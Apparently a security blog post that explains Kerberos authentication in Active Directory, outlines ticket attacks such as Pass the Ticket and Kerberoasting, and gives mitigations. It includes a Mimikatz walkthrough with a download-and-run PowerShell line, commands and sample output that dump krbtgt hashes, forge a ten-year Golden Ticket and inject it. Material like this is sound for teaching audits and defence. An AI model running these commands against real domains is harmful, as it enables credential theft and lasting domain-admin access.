Cybersecurity blog header

Kerberos tickets: Comprehension and exploitation

The main aim of this post is explaining the most common attacks that can be carried out in a security audit or pentest of Kerberos protocol used in Microsoft active directory domains for authentication.

To this effect, first it is going to be explained how Kerberos works in order to provide access to those network resources; second, how the most famous kerberos attacks work on Kerberos tickets; third, how to carry out a Golden ticket attack using Mimikatz; and finally, possible mitigations against this type of attacks.

How Kerberos works in an active directory

In an active directory the authentication is done using Kerberos. This is a protocol that works on the basis of tickets which are given to users which later are shown to different network resources in order to authenticate permissions.

In the Kerberos protocol there are 3 architecture main entities:

  • The client machine refers to the user who wants to access the service.
  • The machine hosting the service refers to the system the user wants to access to.
  • The Key Distribution Center (KDC) is a central server responsible for authenticating users and distributing tickets in order to be identified in services hosting machines. In active directories, KDC is installed in Domain Controller (DC).

On the other hand, there are 2 types of tickets a user should hold in order to access domain services:

  • Service Tickets (ST): used for identification purposes against the services.
  • Ticket Granting Ticket (TGT): used for authentication purposes against the Kerberos server and for obtaining the ST required for different services.

Please, find in the following image the necessary messages sequence to carry out user’s authentication process using Kerberos:

Kerberos tickets attack

Authentication with Kerberos tickets

Kerberos messages

Firstly, as shown in the previous image, a user should have a TGT. To this effect, the user should be authenticated against the KDC sending the following message.

TGT request message

TGT authentication request message

En dicho mensaje se especifican 3 cosas:

  • El nombre del usuario que se está autenticando
  • El servicio que se encarga de proporcionar el TGT, es decir, el servicio de Kerberos del KDC.
  • Un timestamp cifrado con el hash NTLM obtenido de la contraseña del usuario

Una vez llega este mensaje al KDC este descifra el timestamp con el hash NTLM del usuario y verifica que las credenciales son válidas.Si la petición es correcta el servidor devolverá el siguiente mensaje:

TGT response message

TGT response message

This message is divided in 3 parts:

  • Username, the name of the authenticated user.
  • A session key that shall be used to encode the following messages exchanged with the KDC and TGT lifetime, both encoded with user’s NTLM hash (then the user could read this fields)
  • TGT encoded with krbrgt account NTLM hash (then, only the KDC can read it), and including the session key and the TGT lifetime, and also a token containing the PAC structure. This is where TGT holder privileges are detailed.

Once this process is finished, the user possesses a TGT that can be used in order to request ST, and therefore access domain services associated to Kerberos.

In order to apply for a ST, the following message should be sent to KDC:

ST Request message

ST Request message

In this message, three fields are included:

  • Requested service name
  • Username and an encoded timestamp with the session key established in TGT.
  • TGT

When the KDC receives this message, the user’s privileges contained in the TGT are authenticated and a ST is sent in the following message:

ST response message

ST response message

This message is divided in 2 parts:

  • Service name, timestamp and service session key, all of them are encoded with the specified session key in TGT (then the user can read it)
  • ST including the following: username, service name, service session key, user’s permissions token copy. Therefore, the service machine can authenticate that this particular user holds the corresponding privileges in order to access the service and a timestamp indicating the moment when everything was created. All this is encoded with the domain account NTML associated to the service hash (then only this service can read it)

And if everything is correct, the user will have the ST providing access to the desired service.

It is important to remark, that TGT and ST are found cached in the computer where the user has logged in, and in particular, in the Isass process memory, responsible for authentication. This process is also responsible for storing other important information such as different authenticated users’ password hashes (LM, NTLM, SHA1…) in the machine and also clear passwords. Then, having this in mind, any user having enough permissions, such as the computer’s local administrator, could extract all this process information for all those users having a logged in account in the computer. For this purpose, Mimikatz tool is often used due to the fact that it counts on a module consisting on extracting the aforementioned credentials.

kerberos attacks

With the above procedure in mind, let’s see how the following Kerberos active directory oriented attacks work:

  • Overpass The Hash/Pass The Key
  • Pass The Ticket
  • Golden Ticket y Silver Ticket
  • Kerberoasting

Overpass The Hash/Pass The Key (PTK)

The general definition of Pass the Hash (PTH) attack refers to an attack that uses the user’s hash in order to forge the user’s identity. In Kerberos ticket field, this is called Overpass The Hass or Pass The Key.

Observing any TGT obtaining process, it could be seen that if an attacker finds a user’s hash, a valid TGT request message could be created and this one can be used to access to any of the domain resources which that user in particular has access to without knowing the password.

Pass The Ticket (PTT)

Pass The Ticket consists of obtaining a user’s ticket and using it in order to gain access to those resources the user is holding the corresponding permissions.

Generally, this is carried out obtaining a user’s TGT, therefore if the attacker gets a ST, this attack could not work properly since there are certain protections.

When a ST is sent to the machine providing the service, this one compares the timestamps included in the ST (the moment when the ticket was created) with the moment when the ticket was sent and it is directly dismissed if there is difference of more than 2 minutes. Besides, the first ticket sent to the service machine (most of the time it refers to the legitimate user) is cached in the memory and the following tickets are rejected.

Then, it is very common to have a TGT without this protections, although it should be taken into account that this one has a maximum lifetime (normally 10 hours) after which the ticket may expire. In addition, the TGT is not only restricted to one service but also it could be used to apply for any service the owner may access to.


Kerberoasting tries to use ST to crack offline users’ passwords.

As it could be seen previously, ST are encoded with the domain account NTLM hash associated to the service. Therefore, if a user requests a service ST associated to a user, once the ST is obtained, this one can be used in another machine and crack the user’s password, which generally holds many privileges in the domain or at least in the machine where the service is run.

The first part could refer to computer accounts associated to services and even to the krbtgt account if TGT is extracted. However, these accounts passwords are generated automatically and these passwords are too complex to be cracked.

Golden Ticket and Silver Ticket

The main aim of the Golden Ticket attack is creating a TGT. For this purpose, the krbtgt account hash is necessary since it is used to encode the ticket. Once this hash is obtained, it is possible to create a TGT including any desired expiration date, and most importantly, any required permissions, containing even domain administrator privilege.

It also has to be taken into account that a TGT validity depends on two aspects: the given expiration date and the NTLM hash used to encode (referring to krbtgt account password). Therefore, either lifetime does not expire either the krbtgt account password is changed. The ticket will be valid regardless of whether the forged user’s password expires.

Silver Ticket concept is similar. However, this time the ticket created is a ST and therefore, it is required the domain account NTLM hash associated to the service you want to access to.

Golden Ticket attack

In the next section, how it is possible to build a Golden Ticket using Mimikatz tool is going to be explained.

First of all, you need to find krbtgt account hashes which are stored in the NTDS.DIT file of domain controllers:

For that purpose, Mimikatz should be executed in the domain controller. I personally prefer the PowerShell script Invoke-Mimikatz of Empire repository that enables to run Mimikatz directly on the memory.

If we run the following instruction in a PowerShell we can download the utility code and load it directly to the memory:

PS C:WINDOWSsystem32> IEX ([System.Text.Encoding]::UTF8.GetString((New-Object"")))

Once downloaded and loaded, Mimikatz is run in order to extract krbtgt account hashes (for this purpose, it is necessary to have administrator permissions in the domain controller):

PS C:WINDOWSsystem32> Invoke-Mimikatz -Command '"lsadump::lsa /inject /name:krbtgt"'
Hostname: WIN-9LJHAUJKGH3.test.virtual / S-1-5-21-1126339692-2329256024-2918214878

  .#####.   mimikatz 2.1 (x64) built on Dec 11 2016 18:05:17
 .## ^ ##.  "A La Vie, A L'Amour"
 ## /  ##  /* * *
 ##  / ##   Benjamin DELPY `gentilkiwi` ( )
 '## v ##'             (oe.eo)
  '#####'                                     with 20 modules * * */

mimikatz(powershell) # lsadump::lsa /inject /name:krbtgt
Domain : TEST / S-1-5-21-1126339692-2329256024-2918214878

RID  : 000001f6 (502)
User : krbtgt

 * Primary
    LM   :
    NTLM : 78ec7d4703bd93bfc6f315e8be2a0505

 * WDigest
    01  a29ea599962f7a22c82f994e1c9cbd23
    02  f9d478222fd20ef62008d33912965452
    03  78183dc53572b1d1cf8d9ec3334f1af9
    04  a29ea599962f7a22c82f994e1c9cbd23
    05  f9d478222fd20ef62008d33912965452
    06  768f0d27d7f1a401128fa4d9dfe0fe05
    07  a29ea599962f7a22c82f994e1c9cbd23
    08  cbfe851527c1ee2a94ce718de92d48de
    09  cbfe851527c1ee2a94ce718de92d48de
    10  cab3cee0de82aaaf89dde189a4b65a7c
    11  3304c3951f18774e3042171dcf83d81f
    12  cbfe851527c1ee2a94ce718de92d48de
    13  9ecfb92a334e791a2dd0b84a1e2673bb
    14  3304c3951f18774e3042171dcf83d81f
    15  30d13cafdad8bf820491d908a97bda68
    16  30d13cafdad8bf820491d908a97bda68
    17  107e3aa8e86408187c697cd3d9bbe74a
    18  cad84ce23627af0a56aaaefa324ac1f4
    19  fccd8b52fdd36177c39a3d22357b2d26
    20  884c3427f704916b23c7daede8d3d98a
    21  101fc8a7b2c38f0f71fe3781c1a23b71
    22  101fc8a7b2c38f0f71fe3781c1a23b71
    23  58130a56370f77dfaaf7851004a8972a
    24  99fb09a2eb1647739a689058c66b774f
    25  99fb09a2eb1647739a689058c66b774f
    26  b87ff24e8ab8d40e08f9f92490346f65
    27  51af7632f142ccfa43143fea62885479
    28  845c45eaf7c2c151a5b5bbe87f6b81dc
    29  de8bbff44216f36f23ada8df8195815e

 * Kerberos
    Default Salt : TEST.VIRTUALkrbtgt
      des_cbc_md5       : cbc1d9c819b91f6e

 * Kerberos-Newer-Keys
    Default Salt : TEST.VIRTUALkrbtgt
    Default Iterations : 4096
      aes256_hmac       (4096) : 374389044ea10da3184e9c5e68fd4c06f9d82321c1d511f8bf45b39806e08b10
      aes128_hmac       (4096) : 9fb68e4e1608b61f4a46d476935da269
      des_cbc_md5       (4096) : cbc1d9c819b91f6e

Once the hashes are obtained, it is possible to create a TGT or Golden Ticket in order to forge the Domain Administrator during 10 years (or any other specified period):

PS C:WINDOWSsystem32> Invoke-Mimikatz -Command '"kerberos::golden /domain:test.virtual /sid:S-1-5-21-1126339692-2329256024-2918214878 /rc4:78ec7d4703bd93bfc6f315e8be2a0505 /user:Administrador /id:500 /groups:500,501,513,512,520,518,519 /ticket:gold.kirbi "'
Hostname: WIN-9LJHAUJKGH3.test.virtual / S-1-5-21-1126339692-2329256024-2918214878

  .#####.   mimikatz 2.1 (x64) built on Dec 11 2016 18:05:17
 .## ^ ##.  "A La Vie, A L'Amour"
 ## /  ##  /* * *
 ##  / ##   Benjamin DELPY `gentilkiwi` ( )
 '## v ##'             (oe.eo)
  '#####'                                     with 20 modules * * */

mimikatz(powershell) # kerberos::golden /domain:test.virtual /sid:S-1-5-21-1126339692-2329256024-2918214878 /rc4:78ec7d
4703bd93bfc6f315e8be2a0505 /user:Administrador /id:500 /groups:500,501,513,512,520,518,519 /ticket:gold.kirbi
User      : Administrador
Domain    : test.virtual (TEST)
SID       : S-1-5-21-1126339692-2329256024-2918214878
User Id   : 500
Groups Id : *500 501 513 512 520 518 519
ServiceKey: 78ec7d4703bd93bfc6f315e8be2a0505 - rc4_hmac_nt
Lifetime  : 23/12/2016 11:09:01 ; 21/12/2026 11:09:01 ; 21/12/2026 11:09:01
-> Ticket : gold.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

Now, we can save the file “gold.kirbi” with the Golden Ticket having a lifetime of 10 years and ready to be used whenever needed. In case, you want to inject the ticket you should run the following:

PS C:WINDOWSsystem32> Invoke-Mimikatz -Command '"kerberos::ptt gold.kirbi"'
* File: 'gold.kirbi': OK

All in all, you will hold administrator permissions in the entire domain during 10 years even though the Administrator changes the password.


Golden Ticket Mitigation

In order to avoid the use of long lifetime Golden Tickets we suggest to reset regularly the krbtgt account password in all domain controllers, therefore the following script could be used:

The password should be reset twice, due to usability purposes. Then, those tickets using krbtgt password NTLM hash as encryption key prior to the current one will be considered still valid. However, it should be taken into consideration that it is only possible to change the password in the krbtgt account if the domain functional level is either the same or higher than Windows Server 2008.

Generales mitigations

Attacks types previously described take advantage of Kerberos protocol inherent weaknesses. Therefore, there is not an easy way to prevent them. Nevertheless, Microsoft provides a publicly available guide explaining how to mitigate this kind of attacks:


[1] Mimikatz and Active Directory Kerberos Attacks ->
[2] Explain like I’m 5: Kerberos ->
[3] Mastering Windows Network Forensics and Investigation, 2 Edition . Autores: S. Anson , S. Bunting, R. Johnson y S. Pearson. Editorial Sibex.
[4] Active Directory , 5 Edition. Autores: B. Desmond, J. Richards, R. Allen y A.G. Lowe-Norris
[5] PAC Validation ->
[6] Service Principal Names ->
[7] Niveles funcionales de directorio activo ->
[8] OverPass The Hash – Blog Gentilkiwi->
[9] Pass The Ticket – Blog Gentilkiwi ->
[10] Golden Ticket – Blog Gentilkiwi ->
[11] Kerberos & KRBTGT ->
[12] Mimikatz Golden Ticket Walkthrough ->
[13] Attacking Kerberos: Kicking the Guard Dog of Hades ->
[14] Kerberoasting – Part 1 ->
[15] Kerberoasting – Part 2 ->
[16] Reset the krbtgt acoount password/keys ->
[17] Mitigating Pass-the-Hash (PtH) Attacks and Other Credential Theft ->
[18] Mimikatz ->
[19] Mimikatz Blog Gentilkiwi ->
[20] Mimikatz Credenciales ->
[21] Mimikatz Tickets ->
[22] Empire ->
[23] Invoke-Mimikatz ->
[24] BlackArrow Kerberos series kerberos BlackArrow

Discover our work and cybersecurity services at